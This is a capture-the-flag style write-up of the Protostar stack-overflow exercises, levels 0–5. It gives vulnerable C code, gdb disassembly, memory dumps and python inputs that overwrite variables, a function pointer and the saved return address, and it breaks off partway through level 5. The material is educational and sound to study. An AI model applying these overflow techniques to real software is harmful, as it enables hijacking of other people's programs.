Post

Exploit Exercises Protostar Lab Write-Up

Exploit Exercises Protostar Lab Write-Up

Stack 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
    volatile int modified;
    char buffer[64];
    modified = 0;
    gets(buffer);
    if(modified != 0) {
        printf("you have changed the 'modified' variable\\\\n");
    } else {
        printf("Try again?\\\\n");
    }
}

The variable modified needs to be changed to pass the level. The program expects an input. Using gdb to disassemble -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x080483f4 <main+0>:        push   ebp
0x080483f5 <main+1>:        mov    ebp,esp
0x080483f7 <main+3>:        and    esp,0xfffffff0
0x080483fa <main+6>:        sub    esp,0x60
0x080483fd <main+9>:        mov    DWORD PTR [esp+0x5c],0x0
0x08048405 <main+17>:        lea    eax,[esp+0x1c]
0x08048409 <main+21>:        mov    DWORD PTR [esp],eax
0x0804840c <main+24>:        call   0x804830c <gets@plt>
0x08048411 <main+29>:        mov    eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>:        test   eax,eax
0x08048417 <main+35>:        je     0x8048427 <main+51>
0x08048419 <main+37>:        mov    DWORD PTR [esp],0x8048500
0x08048420 <main+44>:        call   0x804832c <puts@plt>
0x08048425 <main+49>:        jmp    0x8048433 <main+63>
0x08048427 <main+51>:        mov    DWORD PTR [esp],0x8048529
0x0804842e <main+58>:        call   0x804832c <puts@plt>
0x08048433 <main+63>:        leave  
0x08048434 <main+64>:        ret    
End of assembler dump.

(gdb) break *0x0804840c
Breakpoint 1 at 0x804840c: file stack0/stack0.c, line 11.
(gdb) break *0x08048415
Breakpoint 2 at 0x8048415: file stack0/stack0.c, line 13.

The program is disassembled and the instructions can be mapped with the given c code to find out the location of the variable ‘modified’ which is at esp + x5c. The input is accepted at the gets function which has a vulnerability of accepting more than the buffer size declared. Adding breakpoints before gets function call and before the compare helps in analysis.

1
2
3
4
5
6
7
8
9
10
11
12
(gdb) r
Starting program: /opt/protostar/bin/stack0
Breakpoint 1, 0x0804840c in main (argc=1, argv=0xbffff864) at stack0/stack0.c:11
11        stack0/stack0.c: No such file or directory.
        in stack0/stack0.c
(gdb) x/24wx $esp
0xbffff750:        0xbffff76c        0x00000001        0xb7fff8f8        0xb7f0186e
0xbffff760:        0xb7fd7ff4        0xb7ec6165        0xbffff778        0xb7eada75
0xbffff770:        0xb7fd7ff4        0x08049620        0xbffff788        0x080482e8
0xbffff780:        0xb7ff1040        0x08049620        0xbffff7b8        0x08048469
0xbffff790:        0xb7fd8304        0xb7fd7ff4        0x08048450        0xbffff7b8
0xbffff7a0:        0xb7ec6365        0xb7ff1040        0x0804845b        0x00000000

The 0x0000000 is the value of the variable of concern. This needs to be modified. Entering c to continue execution and entering a bunch of A’s to locate them on the stack.

1
2
3
4
5
6
7
8
9
10
11
12
13
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 2, 0x08048415 in main (argc=1, argv=0xbffff864) at stack0/stack0.c:13
13        in stack0/stack0.c
(gdb) x/24wx $esp
0xbffff750:        0xbffff76c        0x00000001        0xb7fff8f8        0xb7f0186e
0xbffff760:        0xb7fd7ff4        0xb7ec6165        0xbffff778        0x41414141
0xbffff770:        0x41414141        0x41414141        0x41414141        0x41414141
0xbffff780:        0x41414141        0x41414141        0xbfff0041        0x08048469
0xbffff790:        0xb7fd8304        0xb7fd7ff4        0x08048450        0xbffff7b8
0xbffff7a0:        0xb7ec6365        0xb7ff1040        0x0804845b        0x00000000

The 0x41’s can now be located and the start address can be noted for the A’s. The number of A’s required to overwrite the value of the ‘modified’ variable is calculated as 17 words. Using python to print this and re executing the program, the required output is obtained.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack0
Breakpoint 1, 0x0804840c in main (argc=1, argv=0xbffff864) at stack0/stack0.c:11
11        in stack0/stack0.c
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 2, 0x08048415 in main (argc=1, argv=0xbffff864) at stack0/stack0.c:13
13        in stack0/stack0.c
(gdb) x/24wx $esp
0xbffff750:        0xbffff76c        0x00000001        0xb7fff8f8        0xb7f0186e
0xbffff760:        0xb7fd7ff4        0xb7ec6165        0xbffff778        0x41414141
0xbffff770:        0x41414141        0x41414141        0x41414141        0x41414141
0xbffff780:        0x41414141        0x41414141        0x41414141        0x41414141
0xbffff790:        0x41414141        0x41414141        0x41414141        0x41414141
0xbffff7a0:        0x41414141        0x41414141        0x41414141        0x41414141
(gdb) c
Continuing.
you have changed the 'modified' variable
Program exited with code 051.

After this the desired result has been obtained. As clear, the location with 0x0000000 was overwritten with 0x41’s, hence changing the value of the ‘modified’ variable.


Stack 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
    volatile int modified;
    char buffer[64];
    if(argc == 1) {
        errx(1, "please specify an argument\\\\n");
    }
    modified = 0;
    strcpy(buffer, argv[1]);
    if(modified == 0x61626364) {
        printf("you have correctly got the variable to the right value\\\\n");
    } else {
        printf("Try again, you got 0x%08x\\\\n", modified);
    }
}

The code takes an argument from the command line to use in the program. The variable ‘modified’ needs to be changed by an overflow to 0x61626364. Disassembling the program using gdb -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
(gdb) disas main
Dump of assembler code for function main:
0x08048464 <main+0>:        push   %ebp
0x08048465 <main+1>:        mov    %esp,%ebp
0x08048467 <main+3>:        and    $0xfffffff0,%esp
0x0804846a <main+6>:        sub    $0x60,%esp
0x0804846d <main+9>:        cmpl   $0x1,0x8(%ebp)
0x08048471 <main+13>:        jne    0x8048487 <main+35>
0x08048473 <main+15>:        movl   $0x80485a0,0x4(%esp)
0x0804847b <main+23>:        movl   $0x1,(%esp)
0x08048482 <main+30>:        call   0x8048388 <errx@plt>
0x08048487 <main+35>:        movl   $0x0,0x5c(%esp)
0x0804848f <main+43>:        mov    0xc(%ebp),%eax
0x08048492 <main+46>:        add    $0x4,%eax
0x08048495 <main+49>:        mov    (%eax),%eax
0x08048497 <main+51>:        mov    %eax,0x4(%esp)
0x0804849b <main+55>:        lea    0x1c(%esp),%eax
0x0804849f <main+59>:        mov    %eax,(%esp)
0x080484a2 <main+62>:        call   0x8048368 <strcpy@plt>
0x080484a7 <main+67>:        mov    0x5c(%esp),%eax
0x080484ab <main+71>:        cmp    $0x61626364,%eax
0x080484b0 <main+76>:        jne    0x80484c0 <main+92>
0x080484b2 <main+78>:        movl   $0x80485bc,(%esp)
0x080484b9 <main+85>:        call   0x8048398 <puts@plt>
0x080484be <main+90>:        jmp    0x80484d5 <main+113>
0x080484c0 <main+92>:        mov    0x5c(%esp),%edx
0x080484c4 <main+96>:        mov    $0x80485f3,%eax
0x080484c9 <main+101>:        mov    %edx,0x4(%esp)
0x080484cd <main+105>:        mov    %eax,(%esp)
0x080484d0 <main+108>:        call   0x8048378 <printf@plt>
0x080484d5 <main+113>:        leave  
0x080484d6 <main+114>:        ret    
End of assembler dump.

Adding breakpoints to the strcpy function call before and after to check the contents. From the assembly code, the location is at esp + x5c. Therefore, running with a bunch of A’s for location.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(gdb) break *0x080484a2
Breakpoint 1 at 0x80484a2: file stack1/stack1.c, line 16.
(gdb) break *0x080484a7
Breakpoint 2 at 0x80484a7: file stack1/stack1.c, line 18.
(gdb) r AAAAAAAAAAAAAAAAAAAAAA
Starting program: /opt/protostar/bin/stack1 AAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x080484a2 in main (argc=2, argv=0xbffff834) at stack1/stack1.c:16
16        stack1/stack1.c: No such file or directory.
        in stack1/stack1.c
(gdb) x/24wx $esp
0xbffff720:        0xbffff73c        0xbffff974        0xb7fff8f8        0xb7f0186e
0xbffff730:        0xb7fd7ff4        0xb7ec6165        0xbffff748        0xb7eada75
0xbffff740:        0xb7fd7ff4        0x080496fc        0xbffff758        0x08048334
0xbffff750:        0xb7ff1040        0x080496fc        0xbffff788        0x08048509
0xbffff760:        0xb7fd8304        0xb7fd7ff4        0x080484f0        0xbffff788
0xbffff770:        0xb7ec6365        0xb7ff1040        0x080484fb        0x00000000
(gdb) c
Continuing.
Breakpoint 2, main (argc=2, argv=0xbffff834) at stack1/stack1.c:18
18        in stack1/stack1.c
(gdb) x/24wx $esp
0xbffff720:        0xbffff73c        0xbffff974        0xb7fff8f8        0xb7f0186e
0xbffff730:        0xb7fd7ff4        0xb7ec6165        0xbffff748        0x41414141
0xbffff740:        0x41414141        0x41414141        0x41414141        0x41414141
0xbffff750:        0xb7004141        0x080496fc        0xbffff788        0x08048509
0xbffff760:        0xb7fd8304        0xb7fd7ff4        0x080484f0        0xbffff788
0xbffff770:        0xb7ec6365        0xb7ff1040        0x080484fb        0x00000000

The A’s are now located. The 0x0000000 entry is the one that needs to be changed. The exact value required to be there is 0x61626364 which needs to be written backwards byte by byte to follow the little endianness. The number of bytes required to change can be counted and the last 4 need to be changed to 0x64636261 using python.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
Breakpoint 1, 0x080484a2 in main (argc=2, argv=0xbffff804) at stack1/stack1.c:16
16        in stack1/stack1.c
(gdb) x/24wx $esp
0xbffff6f0:        0xbffff70c        0xbffff946        0xb7fff8f8        0xb7f0186e
0xbffff700:        0xb7fd7ff4        0xb7ec6165        0xbffff718        0xb7eada75
0xbffff710:        0xb7fd7ff4        0x080496fc        0xbffff728        0x08048334
0xbffff720:        0xb7ff1040        0x080496fc        0xbffff758        0x08048509
0xbffff730:        0xb7fd8304        0xb7fd7ff4        0x080484f0        0xbffff758
0xbffff740:        0xb7ec6365        0xb7ff1040        0x080484fb        0x00000000
(gdb) c
Continuing.
Breakpoint 2, main (argc=2, argv=0xbffff804) at stack1/stack1.c:18
18        in stack1/stack1.c
(gdb) x/24wx $esp
0xbffff6f0:        0xbffff70c        0xbffff946        0xb7fff8f8        0xb7f0186e
0xbffff700:        0xb7fd7ff4        0xb7ec6165        0xbffff718        0x41414141
0xbffff710:        0x41414141        0x41414141        0x41414141        0x41414141
0xbffff720:        0x41414141        0x41414141        0x41414141        0x41414141
0xbffff730:        0x41414141        0x41414141        0x41414141        0x41414141
0xbffff740:        0x41414141        0x41414141        0x41414141        0x61626364
(gdb) c
Continuing.
you have correctly got the variable to the right value
Program exited with code 067.

Stack 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
    volatile int modified;
    char buffer[64];
    char *variable; //*
    variable = getenv("GREENIE");
    if(variable == NULL) {
        errx(1, "please set the GREENIE environment variable\\\\n");
    }
    modified = 0;
    strcpy(buffer, variable);
    if(modified == 0x0d0a0d0a) {
        printf("you have correctly modified the variable\\\\n");
    } else {
        printf("Try again, you got 0x%08x\\\\n", modified);
    }
}

The code has a variable called ‘variable’. This exits with an error if the variable is null. If it is not null then another variable called ‘modified’ is set to 0 after which the variable’s value is copied via strcpy to buffer. Strcpy copies the whole string into the buffer irrespective of the buffer size. Therefore, idea seems to be to set the env variable first to pass first test case then to modify or breach the content area of the variable ‘modified’ in the stack using overflow string as that which is the value of the env variable. Initially setting the env variable to a bunch of A’s to locate easily.

1
2
3
user@protostar:~$ export GREENIE="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
user@protostar:~$ printenv GREENIE
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Disassembling the executable in gdb.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
(gdb) disas main
Dump of assembler code for function main:
0x08048494 <main+0>:        push   ebp
0x08048495 <main+1>:        mov    ebp,esp
0x08048497 <main+3>:        and    esp,0xfffffff0
0x0804849a <main+6>:        sub    esp,0x60
0x0804849d <main+9>:        mov    DWORD PTR [esp],0x80485e0
0x080484a4 <main+16>:        call   0x804837c <getenv@plt>
0x080484a9 <main+21>:        mov    DWORD PTR [esp+0x5c],eax
0x080484ad <main+25>:        cmp    DWORD PTR [esp+0x5c],0x0
0x080484b2 <main+30>:        jne    0x80484c8 <main+52>
0x080484b4 <main+32>:        mov    DWORD PTR [esp+0x4],0x80485e8
0x080484bc <main+40>:        mov    DWORD PTR [esp],0x1
0x080484c3 <main+47>:        call   0x80483bc <errx@plt>
0x080484c8 <main+52>:        mov    DWORD PTR [esp+0x58],0x0
0x080484d0 <main+60>:        mov    eax,DWORD PTR [esp+0x5c]
0x080484d4 <main+64>:        mov    DWORD PTR [esp+0x4],eax
0x080484d8 <main+68>:        lea    eax,[esp+0x18]
0x080484dc <main+72>:        mov    DWORD PTR [esp],eax
0x080484df <main+75>:        call   0x804839c <strcpy@plt>
0x080484e4 <main+80>:        mov    eax,DWORD PTR [esp+0x58]
0x080484e8 <main+84>:        cmp    eax,0xd0a0d0a
0x080484ed <main+89>:        jne    0x80484fd <main+105>
0x080484ef <main+91>:        mov    DWORD PTR [esp],0x8048618
0x080484f6 <main+98>:        call   0x80483cc <puts@plt>
0x080484fb <main+103>:        jmp    0x8048512 <main+126>
0x080484fd <main+105>:        mov    edx,DWORD PTR [esp+0x58]
0x08048501 <main+109>:        mov    eax,0x8048641
0x08048506 <main+114>:        mov    DWORD PTR [esp+0x4],edx
0x0804850a <main+118>:        mov    DWORD PTR [esp],eax
0x0804850d <main+121>:        call   0x80483ac <printf@plt>
0x08048512 <main+126>:        leave  
0x08048513 <main+127>:        ret    
End of assembler dump.

Putting breakpoints before and after the strcpy -

1
2
3
4
(gdb) break *0x080484df
Breakpoint 1 at 0x80484df: file stack2/stack2.c, line 20.
(gdb) break *0x080484e4
Breakpoint 2 at 0x80484e4: file stack2/stack2.c, line 22.

Analysing the assembly code, after the strcpy, the esp + x58 location is put into eax and compared to 0xd0a0d0a. Therefore, by overflowing the value of that location needs to be changed to 0xd0a0d0a.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(gdb) r
Starting program: /opt/protostar/bin/stack2
Breakpoint 1, 0x080484df in main (argc=1, argv=0xbffff824) at stack2/stack2.c:20
20        stack2/stack2.c: No such file or directory.
        in stack2/stack2.c
(gdb) x/30wx $esp
0xbffff710:        0xbffff728        0xbffff9e4        0xb7fff8f8        0xb7f0186e
0xbffff720:        0xb7fd7ff4        0xb7ec6165        0xbffff738        0xb7eada75
0xbffff730:        0xb7fd7ff4        0x08049748        0xbffff748        0x08048358
0xbffff740:        0xb7ff1040        0x08049748        0xbffff778        0x08048549
0xbffff750:        0xb7fd8304        0xb7fd7ff4        0x08048530        0xbffff778
0xbffff760:        0xb7ec6365        0xb7ff1040        0x00000000        0xbffff9e4
0xbffff770:        0x08048530        0x00000000        0xbffff7f8        0xb7eadc76
0xbffff780:        0x00000001        0xbffff824
(gdb) c
Continuing.
Breakpoint 2, main (argc=1, argv=0xbffff824) at stack2/stack2.c:22
22        in stack2/stack2.c
(gdb) x/30wx $esp
0xbffff710:        0xbffff728        0xbffff9e4        0xb7fff8f8        0xb7f0186e
0xbffff720:        0xb7fd7ff4        0xb7ec6165        0x41414141        0x41414141
0xbffff730:        0x41414141        0x41414141        0x41414141        0x41414141
0xbffff740:        0x41414141        0x41414141        0xbf004141        0x08048549
0xbffff750:        0xb7fd8304        0xb7fd7ff4        0x08048530        0xbffff778
0xbffff760:        0xb7ec6365        0xb7ff1040        0x00000000        0xbffff9e4
0xbffff770:        0x08048530        0x00000000        0xbffff7f8        0xb7eadc76
0xbffff780:        0x00000001        0xbffff824

After the strcpy, the 0x41’s can be easily located. The first 0x00000000 at …f768 is the value of the variable that needs to be modified. Calculating the number of bytes to overflow into that particular stack location, enter the A’s and then 0xd0a0d0a using python and re run the program after storing the value as the env variable.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(gdb) r
Starting program: /opt/protostar/bin/stack2
Breakpoint 1, 0x080484df in main (argc=1, argv=0xbffff804) at stack2/stack2.c:20
20        stack2/stack2.c: No such file or directory.
        in stack2/stack2.c
(gdb) x/30wx $esp
0xbffff6f0:        0xbffff708        0xbffff9c2        0xb7fff8f8        0xb7f0186e
0xbffff700:        0xb7fd7ff4        0xb7ec6165        0xbffff718        0xb7eada75
0xbffff710:        0xb7fd7ff4        0x08049748        0xbffff728        0x08048358
0xbffff720:        0xb7ff1040        0x08049748        0xbffff758        0x08048549
0xbffff730:        0xb7fd8304        0xb7fd7ff4        0x08048530        0xbffff758
0xbffff740:        0xb7ec6365        0xb7ff1040        0x00000000        0xbffff9c2
0xbffff750:        0x08048530        0x00000000        0xbffff7d8        0xb7eadc76
0xbffff760:        0x00000001        0xbffff804
(gdb) c
Continuing.
Breakpoint 2, main (argc=1, argv=0xbffff804) at stack2/stack2.c:22
22        in stack2/stack2.c
(gdb) x/30wx $esp
0xbffff6f0:        0xbffff708        0xbffff9c2        0xb7fff8f8        0xb7f0186e
0xbffff700:        0xb7fd7ff4        0xb7ec6165        0x41414141        0x41414141
0xbffff710:        0x41414141        0x41414141        0x41414141        0x41414141
0xbffff720:        0x41414141        0x41414141        0x41414141        0x41414141
0xbffff730:        0x41414141        0x41414141        0x41414141        0x41414141
0xbffff740:        0x41414141        0x41414141        0x0d0a0d0a        0xbffff900
0xbffff750:        0x08048530        0x00000000        0xbffff7d8        0xb7eadc76
0xbffff760:        0x00000001        0xbffff804

The appropriate location is thus overwritten. Continuing the execution, the desired result is obtained.

1
2
3
4
(gdb) c
Continuing.
you have correctly modified the variable
Program exited with code 051.

Stack 3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
    printf("code flow successfully changed\\\\n");
}
int main(int argc, char **argv)
{
    volatile int (*fp)();//*
    char buffer[64];
    fp = 0;
    gets(buffer);
    if(fp) {
        printf("calling function pointer, jumping to 0x%08x\\\\n", fp);
        fp();
    }
}

The code has a function declaration of win. The function is not called throughout the code so the challenge is to cause an overflow such that the address of the function win is passed onto the executable stack. The objdump -x for the executable shows that the stack has the permission of rwx. The pointer ‘fp’ is set to 0 after which a gets function is called which as known has the vulnerability of copying complete string passed into the memory. If ‘fp’ is overwritten successfully, then the if condition will turn out to be true and then ‘fp’ will be called which will in turn execute the function whose address is pointed by it. Therefore, the buffer needs to be overflowed with the address of the win function at the end overwriting the value of ‘fp’. Disassembling using gdb and setting the breakpoints before and after gets statement.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
(gdb) disas main
Dump of assembler code for function main:
0x08048438 <main+0>:        push   ebp
0x08048439 <main+1>:        mov    ebp,esp
0x0804843b <main+3>:        and    esp,0xfffffff0
0x0804843e <main+6>:        sub    esp,0x60
0x08048441 <main+9>:        mov    DWORD PTR [esp+0x5c],0x0
0x08048449 <main+17>:        lea    eax,[esp+0x1c]
0x0804844d <main+21>:        mov    DWORD PTR [esp],eax
0x08048450 <main+24>:        call   0x8048330 <gets@plt>
0x08048455 <main+29>:        cmp    DWORD PTR [esp+0x5c],0x0
0x0804845a <main+34>:        je     0x8048477 <main+63>
0x0804845c <main+36>:        mov    eax,0x8048560
0x08048461 <main+41>:        mov    edx,DWORD PTR [esp+0x5c]
0x08048465 <main+45>:        mov    DWORD PTR [esp+0x4],edx
0x08048469 <main+49>:        mov    DWORD PTR [esp],eax
0x0804846c <main+52>:        call   0x8048350 <printf@plt>
0x08048471 <main+57>:        mov    eax,DWORD PTR [esp+0x5c]
0x08048475 <main+61>:        call   eax
0x08048477 <main+63>:        leave  
0x08048478 <main+64>:        ret    
End of assembler dump.
(gdb) break *main+24
Breakpoint 1 at 0x8048450: file stack3/stack3.c, line 18.
(gdb) break *main+29
Breakpoint 2 at 0x8048455: file stack3/stack3.c, line 20.

From the disassembled code, the location esp + x5c on the stack seems to be ‘fp’ which is set to 0. This is the value that needs to be overwritten. Running to find out start location of string using a bunch of A’s, and then calculating the number needed to overwrite ‘fp’.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
(gdb) r
Starting program: /opt/protostar/bin/stack3
Breakpoint 1, 0x08048450 in main (argc=1, argv=0xbffff864) at stack3/stack3.c:18
18        stack3/stack3.c: No such file or directory.
        in stack3/stack3.c
(gdb) x/24wx $esp
0xbffff750:        0xbffff76c        0x00000001        0xb7fff8f8        0xb7f0186e
0xbffff760:        0xb7fd7ff4        0xb7ec6165        0xbffff778        0xb7eada75
0xbffff770:        0xb7fd7ff4        0x0804967c        0xbffff788        0x0804830c
0xbffff780:        0xb7ff1040        0x0804967c        0xbffff7b8        0x080484a9
0xbffff790:        0xb7fd8304        0xb7fd7ff4        0x08048490        0xbffff7b8
0xbffff7a0:        0xb7ec6365        0xb7ff1040        0x0804849b        0x00000000
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 2, main (argc=1, argv=0xbffff864) at stack3/stack3.c:20
20        in stack3/stack3.c
(gdb) x/24wx $esp
0xbffff750:        0xbffff76c        0x00000001        0xb7fff8f8        0xb7f0186e
0xbffff760:        0xb7fd7ff4        0xb7ec6165        0xbffff778        0x41414141
0xbffff770:        0x41414141        0x41414141        0x41414141        0x41414141
0xbffff780:        0x41414141        0x41414141        0xbfff0041        0x080484a9
0xbffff790:        0xb7fd8304        0xb7fd7ff4        0x08048490        0xbffff7b8
0xbffff7a0:        0xb7ec6365        0xb7ff1040        0x0804849b        0x00000000

The value 0x00000000 is the one that is to be overwritten. The number of A’s required to overwrite it is 16*4 plus the value that will overwrite. The value to be overwritten can be printed into a file and redirected. The value can be obtained by examining the win function.

1
2
(gdb) x win
0x8048424 <win>:        0x83e58955

Therefore, redirecting the value to a file and redirecting that to gdb run.

1
2
3
4
5
6
7
8
9
user@protostar:/opt/protostar/bin$ python -c 'print "A"*16*4 + "\\\\x24\\\\x84\\\\x04\\\\x08"' > /tmp/inputfile
user@protostar:/opt/protostar/bin$ gdb ./stack3
GNU gdb (GDB) 7.0.1-debian
Reading symbols from /opt/protostar/bin/stack3...done.
(gdb) r < /tmp/inputfile
Starting program: /opt/protostar/bin/stack3 < /tmp/inputfile
calling function pointer, jumping to 0x08048424
code flow successfully changed
Program exited with code 037.

Therefore, the given function was called using an overflow.


Stack 4

The code for this level is -

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
    printf("code flow successfully changed\\\\n");
}
int main(int argc, char **argv)
{
    char buffer[64];
    gets(buffer);
}

The code simply asks for the execution of the function ‘win’. For this the instruction pointer must be overwritten such that the address of the function ‘win’ is loaded onto the eip before the ret such that the function ‘win’ executes. Disassembling from gdb. Setting the breakpoint at the return instruction to examine the contents of the registers before exiting.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(gdb) disas main
Dump of assembler code for function main:
0x08048408 <main+0>:        push   ebp
0x08048409 <main+1>:        mov    ebp,esp
0x0804840b <main+3>:        and    esp,0xfffffff0
0x0804840e <main+6>:        sub    esp,0x50
0x08048411 <main+9>:        lea    eax,[esp+0x10]
0x08048415 <main+13>:        mov    DWORD PTR [esp],eax
0x08048418 <main+16>:        call   0x804830c <gets@plt>
0x0804841d <main+21>:        leave  
0x0804841e <main+22>:        ret    
End of assembler dump.
(gdb) break *main+22
Breakpoint 1 at 0x804841e: file stack4/stack4.c, line 16.

Initially accuracy is not required therefore printed A to Z all characters in sets of 4 for easy identification in the stack. These characters are then put in a file in the home directory using python.

1
python -c 'print "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"' | cat > hello

Now we can run using this as the input by redirecting the file to r in gdb.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(gdb) r < ~/hello
Starting program: /opt/protostar/bin/stack4 < ~/hello
Breakpoint 1, 0x0804841e in main (argc=Cannot access memory at address 0x5353535b
) at stack4/stack4.c:16
16        stack4/stack4.c: No such file or directory.
        in stack4/stack4.c
(gdb) info registers
eax            0xbffff770        -1073744016
ecx            0xbffff770        -1073744016
edx            0xb7fd9334        -1208118476
ebx            0xb7fd7ff4        -1208123404
esp            0xbffff7bc        0xbffff7bc
ebp            0x53535353        0x53535353
esi            0x0        0
edi            0x0        0
eip            0x804841e        0x804841e <main+22>
eflags         0x200246        [ PF ZF IF ID ]
cs             0x73        115
ss             0x7b        123
ds             0x7b        123
es             0x7b        123
fs             0x0        0
gs             0x33        51
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x54545454 in ?? ()

The base pointer was overwritten in the info. After continuing the eip changed to the set of 4 characters right after those of the base pointer because base pointer is also passed on the stack after the return address is passed. Therefore 54 was the value that got written in the eip which corresponds to the character ‘T’. Therefore if the T’s are replaced by the address of the ‘win’ function the execution will be transferred to that function. Using python again to print till s and then printing the address after checking from x win into the same file.

1
2
3
4
5
6
7
user@protostar:~$ cat > hello.py
import sys
for i in "ABCDEFGHIJKLMNOPQRS":
        sys.stdout.write(i+i+i+i)
user@protostar:~$ python hello.py > hello
user@protostar:~$ cat hello
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSuser@protostar:~$ python -c 'print "\\\\xf4\\\\x83\\\\x04\\\\x0"' | cat >> hello

After this the file hello will have the data required to be overflowed in the stack. After this, running by redirecting to gdb,

1
2
3
4
5
6
7
(gdb) r < ~/hello
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack4 < ~/hello
code flow successfully changed
Program received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()

The overflow still is there because the values after the eip have also been rearranged or overwritten in the stack. Therefore, another segfault is received but the function ‘win’ is successfully executed seeing as the code flow message was printed. Hence function executed using overflow.


Stack 5

The program has the following code -

1
2
3
4
5
6
7
8
9
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
    char buffer[64];
    gets(buffer);
}

The main objective seems to be redirecting the return of the program to get a shellcode. Using gdb to disassemble, and giving a breakpoint at the return statement to check the contents of the eip and stack.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   ebp
0x080483c5 <main+1>:    mov    ebp,esp
0x080483c7 <main+3>:    and    esp,0xfffffff0
0x080483ca <main+6>:    sub    esp,0x50
0x080483cd <main+9>:    lea    eax,[esp+0x10]
0x080483d1 <main+13>:   mov    DWORD PTR [esp],eax
0x080483d4 <main+16>:   call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:   leave  
0x080483da <main+22>:   ret    
End of assembler dump.
(gdb) break *main+22
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.

Giving the input file in the home directory with the contents “AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ”, for easy identification.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
(gdb) r < ~/input
Starting program: /opt/protostar/bin/stack5 < ~/input
(gdb) x/24wx $esp
0xbffff6bc:     0x54545454      0x55555555      0x56565656      0x57575757
0xbffff6cc:     0x58585858      0x59595959      0x5a5a5a5a      0xb7ffef00
0xbffff6dc:     0x08048232      0x00000001      0xbffff720      0xb7ff0626
0xbffff6ec:     0xb7fffab0      0xb7fe1b28      0xb7fd7ff4      0x00000000
0xbffff6fc:     0x00000000      0xbffff738      0xa47e1986      0x8e2bef96
0xbffff70c:     0x00000000      0x00000000      0x00000000      0x00000001
(gdb) si
Cannot access memory at address 0x53535357
(gdb)
Program received signal SIGSEGV, Segmentation fault.
0x54545454 in ?? ()
(gdb) info registers
eax            0xbffff670       -1073744272
ecx            0xbffff670       -1073744272
edx            0xb7fd9334       -1208118476
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff6c0       0xbffff6c0
ebp            0x53535353       0x53535353
esi            0x0      0
edi            0x0      0
eip            0x54545454       0x54545454
eflags         0x210246 [ PF ZF IF RF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

